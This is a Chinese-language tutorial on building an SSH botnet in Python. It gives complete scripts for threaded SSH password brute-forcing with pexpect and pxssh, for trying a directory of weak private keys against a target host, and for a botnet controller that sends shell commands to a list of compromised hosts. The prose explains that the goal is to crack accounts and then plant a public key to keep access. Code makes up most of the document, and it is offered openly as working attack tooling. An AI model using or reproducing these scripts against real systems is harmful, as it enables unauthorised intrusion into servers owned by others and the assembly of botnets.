Python构建一个SSH僵尸网络
可以看一下我们自己的网站的入侵检测系统(IDE)日志/var/log/auth.log中最近的SSH攻击记录,我们可以观察到:攻击者试图使用用户登录系统,远程IP正试图暴力生成密码破解密码。
实现暴力破解的SSH蠕虫
我们使用一个第三方模块--Pexpect,它可以实现与程序交互,等待预期的屏幕输出,并据此做出不同的响应。
利用pexpect库进行SSH连接
这个步骤本质上讲的就是不用每次都输入yes,或者是人工输入ssh root' '127.0.0.1' ',就是直接运行脚本连接。
输入:用户名 主机名 密码 例如 root '127.0.0.1' 123456
输出:超时,主机已使用新的公钥或者验证通过
import pexpect PROMPT = ['# ', '>>> ', '> ', "\$ "] def sen_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before) def connect(user, host, password): ssh_newkey = 'are you sure you want to continue connecting' conn_str = 'ssh ' + user + '@' + host child = pexpect.spawn(conn_str) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return child.sendline(password) child.expect(PROMPT) return child
执行暴力破解任务
整体思路是将上面静态输入的用户名,密码,改成暴力破解中字典中需要遍历尝试的用户名和密码们,我们在connect方法中加入反馈机制,如果connect反馈不可以连接那么继续换用户名和密码们。本例只涉及对特定用户名,我们暴力破解特定用户的密码。
from pexpect import pxssh import optparse import time from threading import * maxconnections = 5 connectionlock = BoundedSemaphore(value=maxconnections) isfound = False fails = 0 def connect(host, user, password, release): global isfound global fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connectionlock.release() def main(): parser = optparse.OptionParser('usage %prog -H -u -F ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if isfound: print("[*] Exiting: Password Found") exit(0) if fails > 5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connectionlock.acquire() password = line.strip('\r').strip('\n') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()
SSH弱密钥
利用密钥生成器制作一对密钥:公钥和私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。如果没有私钥,即使通过SSH 暴力破解出密码也无法远程登录系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。意思就是上一个步骤用暴力破解密码后,我们需要把公钥复制到被破解用户的ssh文件下,这样我们可以在自己电脑上连接它的服务器了。
#!/usr/bin/python # -*- coding: utf-8 -*- import pexpect import optparse import os from threading import * maxconnections = 5 connectionlock = BoundedSemaphore(value=maxconnections) stop = False fails = 0 def connect(user, host, keyfile, release): global stop global fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no'## connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ]) if ret == 2: print('[-] Adding Host to ~/.ssh/known_hosts') child.sendline('yes') connect(user, host, keyfile, False)##kryfile 1024,2048,4096密钥文件 elif ret == 3: print('[-] Connection Closed By Remote Host') fails += 1 elif ret > 3: print('[+] Success. ' + str(keyfile)) stop = True finally: if release: connectionlock.release() def main(): parser = optparse.OptionParser('usage %prog -H -u -d ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir(passDir): if stop: print('[*] Exiting: Key Found.') exit(0) if fails > 5:#IPS阻止连接 print('[!] Exiting: Too Many Connections Closed By Remote Host.') print('[!] Adjust number of simultaneous threads.') exit(0) connectionlock.acquire() fullpath = os.path.join(passDir, filename) print('[-] Testing keyfile ' + str(fullpath)) t = Thread(target=connect, args=(user, host, fullpath, True)) child = t.start() if __name__ == '__main__': main()
构建僵尸网络
被黑掉的计算机群,叫做僵尸网络,并且其中每个计算机都有能连接某台肉机,并把命令发送给肉机的能力。需要构造一个全局数组储存僵尸计算机信息,然后发布命令时,遍历整个数组。
#!/usr/bin/python # -*- coding: utf-8 -*- from pexpect import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] error connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output) def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) botNet = [] addClient('127.0.0.1', 'root', 'toor') addClient('127.0.0.1', 'root', 'toor') addClient('127.0.0.1', 'root', 'toor') botnetCommand('uname -v') botnetCommand('cat /etc/issue')